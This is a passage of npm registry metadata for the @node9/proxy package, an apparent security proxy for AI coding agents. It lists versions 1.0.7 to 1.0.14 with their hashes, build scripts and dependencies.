rOemtQsHJf4aFrwTFcE+G/wXb3AiEA/YzoIv9J4nKyeACEq3TgpXjJLLBhPLPzwmS50w6uBWw=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.0.7","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":446743},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"9f51727a1ef6f26c58031230924d2dffd1145a8c","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"NODE_ENV=test vitest --run","build":"tsup","format":"prettier --write .","test:ui":"NODE_ENV=test vitest --ui","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"NODE_ENV=test vitest","format:check":"prettier --check .","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.1","dependencies":{"chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^4.0.18","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","typescript-eslint":"^8.20.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.0.7_1773499572991_0.7094146439574334","host":"s3://npm-registry-packages-npm-production"}},"1.0.8":{"name":"@node9/proxy","version":"1.0.8","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.0.8","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"9046e507ccf58069a998a2264344d5ea307b8798","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.0.8.tgz","fileCount":11,"integrity":"sha512-qMGtN8Je18UN9uNCoY31ULsgyQ0u4y574orAZWpuo6Z/xhzPulg0f/HlgJD1jNYP7V8z9fP8h5CQGZ4IaApopA==","signatures":[{"sig":"MEUCIGK2PCURnx/stsr7mny27XRMhWcQba6Ydt8CC9mVoTxYAiEA6nvCy5AuhUo9GlfnuTy3ChFOZsqQD2Q7KGMBymA5W/M=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.0.8","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":473231},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"1cfec0056d568cf276aed297ffc252bfe45dfe0d","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"NODE_ENV=test vitest --run","build":"tsup","format":"prettier --write .","test:ui":"NODE_ENV=test vitest --ui","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"NODE_ENV=test vitest","format:check":"prettier --check .","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.0","dependencies":{"chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^4.0.18","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.0.8_1773651653775_0.4014723857987965","host":"s3://npm-registry-packages-npm-production"}},"1.0.9":{"name":"@node9/proxy","version":"1.0.9","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.0.9","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"15718eb83406b215736c26ec87750f3e09a20ff7","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.0.9.tgz","fileCount":11,"integrity":"sha512-RmssMTCCJBg/aFWlmYXJ5B6YoKyBC4Nt+jk6W4bKew85paVZaZhVghYVdolWaz2G8rduKieizJbdkZkBK5VA8A==","signatures":[{"sig":"MEYCIQD79rg2nj1TvQgCkS6rrxUhRcS/pGPXXWPWy9k+/jM5NAIhAMDV+ZDtQxU50Wim7e6VPLASpAsuClkuK6JgqV5C34og","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.0.9","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":523986},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"52d632003aed93db7d89b582655c371461f1ab32","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"NODE_ENV=test vitest --run","build":"tsup","format":"prettier --write .","test:ui":"NODE_ENV=test vitest --ui","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"NODE_ENV=test vitest","format:check":"prettier --check .","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.1","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^4.0.18","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.0.9_1773691435116_0.5675229711330885","host":"s3://npm-registry-packages-npm-production"}},"1.0.10":{"name":"@node9/proxy","version":"1.0.10","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.0.10","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"2798cfdd13386bdbc138e4902852d694bfb422f6","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.0.10.tgz","fileCount":11,"integrity":"sha512-XmURtzEy1H/q1JIc2jDw1TCpeKzjmzwSGXXKlGEhtqaZcqcQPto1ZLnlh4b05WSsWpuiwFpLvg+W10CK5r9M4w==","signatures":[{"sig":"MEQCIBYpvT0xaTX5RE+GfNLcvkAvuItODniCjjBUtKLYuzNSAiAcj4c+YW9jFzCxmLzJ7k1qO32kpIhWYXJgi3yOkofinQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.0.10","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":529387},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"b4aff246a6718b866a42676c7f79995c4af65e38","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"NODE_ENV=test vitest --run","build":"tsup","format":"prettier --write .","test:ui":"NODE_ENV=test vitest --ui","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"NODE_ENV=test vitest","format:check":"prettier --check .","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.1","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^4.0.18","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.0.10_1773724990573_0.2811724163086533","host":"s3://npm-registry-packages-npm-production"}},"1.0.11":{"name":"@node9/proxy","version":"1.0.11","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.0.11","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"af5251b6f9d200f8f7e0c04b8f86db0d1f129d89","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.0.11.tgz","fileCount":11,"integrity":"sha512-HoV0ioLjHxuXHFZE21MWD9IoKsiZvLkDblYb1fqvvuAjEYJ0iRlkEwMiJAWZIiWN4G0KnxGwN/ZCH9Js5mww4A==","signatures":[{"sig":"MEYCIQDtPl8l55vS9LoaJy7DGGYVRMW9EPb8Db6rTCF+T3BQeQIhALMq4w7Nfj/raFlrN+vu4hyLzzVB9osDFY/aRYU0XXSu","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.0.11","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":529387},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"174a4639645687656a9cbe16c3ca28376236898a","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"NODE_ENV=test vitest --run","build":"tsup","format":"prettier --write .","test:ui":"NODE_ENV=test vitest --ui","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"NODE_ENV=test vitest","format:check":"prettier --check .","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.1","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^4.0.18","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.0.11_1773725596391_0.818619857690841","host":"s3://npm-registry-packages-npm-production"}},"1.0.12":{"name":"@node9/proxy","version":"1.0.12","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.0.12","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"464d520cc5d4be64f3321fe2d99ed74bb85d750a","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.0.12.tgz","fileCount":11,"integrity":"sha512-XHg0veymSXLuHTn1eo56PeyKnXnWmctJWwUtdQzlC0MCR+xIHDFjWr1bBqk4/ZB6yeuEpyeTEu2g2537YU4L5w==","signatures":[{"sig":"MEUCIGZDx0mX9tMxO6cPsrVBw+/sufnebuCbkL/8+jQC/peSAiEAsly6Ith9/hqj59b+TIR3Q2FnK0Hl1RpJWjCY8O7ir94=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.0.12","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":530696},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"f54406135097aeba3d4926c23e4cb1c639fc52bb","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"NODE_ENV=test vitest --run","build":"tsup","format":"prettier --write .","test:ui":"NODE_ENV=test vitest --ui","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"NODE_ENV=test vitest","format:check":"prettier --check .","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.1","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^4.0.18","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.0.12_1774012416086_0.8237082416127552","host":"s3://npm-registry-packages-npm-production"}},"1.0.13":{"name":"@node9/proxy","version":"1.0.13","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.0.13","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"5d1bba67f6da2d70f87e29940c612f1281a0ca53","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.0.13.tgz","fileCount":11,"integrity":"sha512-PRyZA8/pqaHVPQBLHdEINrOf/5XbnMR8V1BnW43pbYmszuACmkdKb8ZFsUPjlZEg5iB/juUuVhimU2qPcdgt3A==","signatures":[{"sig":"MEUCIAuM3w+9Sdge+ROjk7zFMokT0h3Yys3NrSgUEbWfj8SiAiEAkodlaaBKokslbmX/PcUawNXsQK3JkT8uJtwsqbhV1+Y=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.0.13","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":531152},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"7ac02ea038f75f2141b77d9d5c2744b75aee43bd","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"NODE_ENV=test vitest --run","build":"tsup","format":"prettier --write .","test:ui":"NODE_ENV=test vitest --ui","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"NODE_ENV=test vitest","format:check":"prettier --check .","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.1","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^4.0.18","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.0.13_1774033277279_0.13013008092391254","host":"s3://npm-registry-packages-npm-production"}},"1.0.14":{"name":"@node9/proxy","version":"1.0.14","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.0.14","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"347e2adcedadd0639a56c2b9467e16dd99103434","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.0.14.tgz","fileCount":11,"integrity":"sha512-dee9rdh7IM40SPju2iPK6L3VWhLLVXL8kwV7bjg3M9fLD/mmjhFRT+t3hagjU+hUH2Ti7b3tU6zUIIsajmSElg==","signatures":[{"sig":"MEUCIF/x/n2elLfUUWG2UtyvPkGqncwM//daeVY+wYLqAqKVAiEA+VkgLIOquXNj7oXLx0Wp3/gHXtrIDC3+roTzYWI0STw=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.0.14","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":582533},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"b227315862250415ae936d78558bdaa73097f629","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"NODE_ENV=test vitest --run","build":"tsup","format":"prettier --write .","test:ui":"NODE_ENV=test vitest --ui","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"NODE_ENV=test vitest","format:check":"prettier --check .","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.1","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^4.0.18","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.0.14_1774101941078_0.10020158717359884","host":"s3://npm-registry-packages-npm-production"}},"1.0.15":{"name":"@node9/proxy","version":"1.0.15","keywords":["ai-security","mcp","mcp-proxy","claude